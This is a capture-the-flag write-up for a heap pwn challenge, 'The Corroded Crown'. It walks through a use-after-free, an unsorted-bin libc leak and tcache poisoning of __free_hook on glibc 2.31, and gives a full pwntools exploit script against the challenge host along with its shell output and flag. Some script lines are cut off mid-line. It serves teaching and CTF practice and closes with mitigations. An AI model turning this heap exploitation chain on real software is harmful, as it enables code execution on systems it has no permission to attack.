CyberApocalypse 2026 — Pwn — The Corroded Crown

Category: Pwn **Flag:** `HTB{th3_cr0wn_h45_b33n_p01s0n3d_b6fd63c0f3c3cd42818633b189320cf2}`
Target: `154.57.164.78:30523`

TL;DR

A classic heap **use-after-free (UAF)** menu challenge. The `destroy` (free) handler frees a chunk but never clears the dangling pointer, and neither the `inscribe` (edit) nor `inspect` (view) handlers check the "in-use" flag. This gives us both **UAF read** and **UAF write**.

1. **Leak libc** — free a large chunk into the unsorted bin and read back its `fd`, which points into `main_arena`.
2. **Tcache poisoning** — the shipped libc is **glibc 2.31** (no safe-linking), so a freed tcache chunk's `fd` is a raw pointer. Overwrite it to point at `__free_hook`.
3. Allocate the poisoned entry, write `system` into `__free_hook`, drop `"/bin/sh"` into a chunk, and `free()` it → `system("/bin/sh")`.

Recon

```
$ file corroded_crown
corroded_crown: ELF 64-bit LSB pie executable, x86-64, dynamicall
  interpreter ./glibc/ld-linux-x86-64.so.2, not stripped

$ strings glibc/libc.so.6 | grep 'release version'
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.17) stable release vers
```

Protections (via pwntools):

Protection	State
Arch	amd64
PIE	✅ Enabled
Full RELRO	✅ Enabled (no GOT overwrite)
Stack Canary	✅ Present
NX	❌ Disabled (irrelevant here)

Full RELRO rules out GOT overwrites, so the plan is a libc leak + `__free_hook` overwrite — a good fit for glibc 2.31 where `__free_hook` / `__malloc_hook` still exist and tcache has no pointer mangling.

The program

A relic manager with a global bookkeeping array at `.bss` `0x4040` (`relic`), 64 entries × 16 bytes:

```
struct relic {
    void *ptr;      // +0x0  malloc'd pointer
    int   size;     // +0x8  requested size
    char  in_use;   // +0xc  1 = allocated, 0 = free
};                  // 16 bytes each, indices 0..63
```

Four handlers:

- **1. Forge** (`forge_relic`) — `malloc(size)`. Checks `in_use == 0` first (no double-alloc into a live slot). Stores ptr/size and sets `in_use = 1`. Index bound-checked `0..63`; size only checked `>= 0` (no upper bound).
- **2. Inscribe** (`inscribe_relic`) — the edit primitive. `read(0, relic[idx].ptr, relic[idx].size)`. **Never checks** `in_use`.
- **3. Inspect** (`inspect_relic`) — the view primitive. `write(1, relic[idx].ptr, relic[idx].size)`. **Never checks** `in_use`.

- **4. Destroy** (`destroy_relic`) — `free(relic[idx].ptr)` ; sets `in_use = 0` but **leaves** `ptr` **and** `size` **intact** (dangling pointer).

The vulnerability

`destroy` doesn't NULL the pointer, and `inscribe` / `inspect` don't validate the in-use flag. A freed relic can therefore still be **read** (leak metadata that libc writes into freed chunks) and **written** (corrupt tcache `fd`). Textbook UAF read + write.

Exploitation

Step 1 — libc leak (unsorted bin)

The largest tcache request holds chunks up to `0x410` bytes, so a `0x420` request produces a chunk that skips tcache/fastbins and lands in the **unsorted bin** when freed. A lone unsorted chunk's `fd` / `bk` both point at the bin head inside `main_arena` (`main_arena + 0x60`).

We allocate a `0x420` victim plus a small guard chunk after it (so the victim doesn't consolidate with the top chunk on free), free the victim, and `inspect` it to leak the pointer.

`main_arena` sits at libc offset `0x1ecb80` (the address referenced 117× in the libc disassembly), so:

```
libc_base = leak - (0x1ecb80 + 0x60)   # 0x1ecbe0
```

Step 2 — tcache poisoning → `__free_hook`

glibc 2.31 stores tcache `fd` as a plain pointer (safe-linking arrived in 2.32), so the poison is a straight overwrite.

- Forge two `0x50` chunks `A` and `B` .
- `destroy(A)` then `destroy(B)` → tcache list `B → A` , **count = 2**.
- `inscribe(B, p64(__free_hook))` → the head chunk's `fd` now points at `__free_hook` .
- `forge` → returns `B` ; `forge` again → returns `__free_hook` .

> **Why two chunks?** glibc 2.31's `__libc_malloc` only serves from tcache while `counts[tc_idx] > 0`. With a single freed chunk the count hits `0` before the second (poisoned) allocation, and `tcache_get` is never reached. Freeing two chunks keeps the count positive through both `forge` calls.

Step 3 — pop the shell

- `inscribe(__free_hook_chunk, p64(system))` → `__free_hook = system`.
- `inscribe(B, "/bin/sh\0")` then `destroy(B)` → `free(B)` invokes `__free_hook(B)` = `system("/bin/sh")`.

Exploit

```
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
libc = ELF('./glibc/libc.so.6', checksec=False)
UNSORTED_FD = 0x1ecb80 + 0x60          # main_arena + 0x60

io = remote('154.57.164.78', 30523)
def menu(): io.recvuntil(b'> ')
def forge(i, s):
    menu(); io.sendline(b'1'); io.recvuntil(b'(index): '); io.sen
    io.recvuntil(b'(size): '); io.sendline(str(s).encode())
def inscribe(i, d):
    menu(); io.sendline(b'2'); io.recvuntil(b'(index): '); io.sen
    io.recvuntil(b'bytes):\n'); io.send(d)
def inspect(i):
    menu(); io.sendline(b'3'); io.recvuntil(b'(index): '); io.sen
    io.recvuntil(b'Relic [%d]: ' % i); return io.recvline()
def destroy(i):
    menu(); io.sendline(b'4'); io.recvuntil(b'(index): '); io.sen
```

```
# tcache chunks first (stable addresses)
forge(2, 0x50); forge(3, 0x50)
# unsorted-bin leak
forge(0, 0x420); forge(1, 0x20)
destroy(0)
leak = u64(inspect(0)[:8].ljust(8, b'\x00'))
libc.address = leak - UNSORTED_FD
log.success('libc base = %#x' % libc.address)

# tcache poisoning
destroy(2); destroy(3)                    # list: 3 -> 2, count
inscribe(3, p64(libc.sym['__free_hook']))  # poison head fd
forge(4, 0x50)                            # -> chunk 3
forge(5, 0x50)                            # -> __free_hook
inscribe(5, p64(libc.sym['system']))      # __free_hook = system

# trigger
inscribe(4, b'/bin/sh\x00')
destroy(4)                                # system("/bin/sh")

io.sendline(b'id; cat flag.txt /flag* 2>/dev/null')
io.interactive()
```

Result

```
$ python exploit.py
[+] libc base = 0x7f046ec4a000
uid=100(ctf) gid=101(ctf) groups=101(ctf)
HTB{th3_cr0wn_h45_b33n_p01s0n3d_b6fd63c0f3c3cd42818633b189320cf2}
```

Flag

```
HTB{th3_cr0wn_h45_b33n_p01s0n3d_b6fd63c0f3c3cd42818633b189320cf2}
```

Lessons / mitigations

- **Free must invalidate the pointer.** Set `relic[idx].ptr = NULL` (and clear size/flag) after `free` to kill the dangling reference.
- **Validate the in-use flag** on every read/write handler, not just on free.
- Modern glibc (≥ 2.32) mangles tcache `fd` (safe-linking) and (≥ 2.34) removes the `__free_hook` / `__malloc_hook` primitives, both of which would break this chain — the challenge deliberately ships 2.31 to keep them available.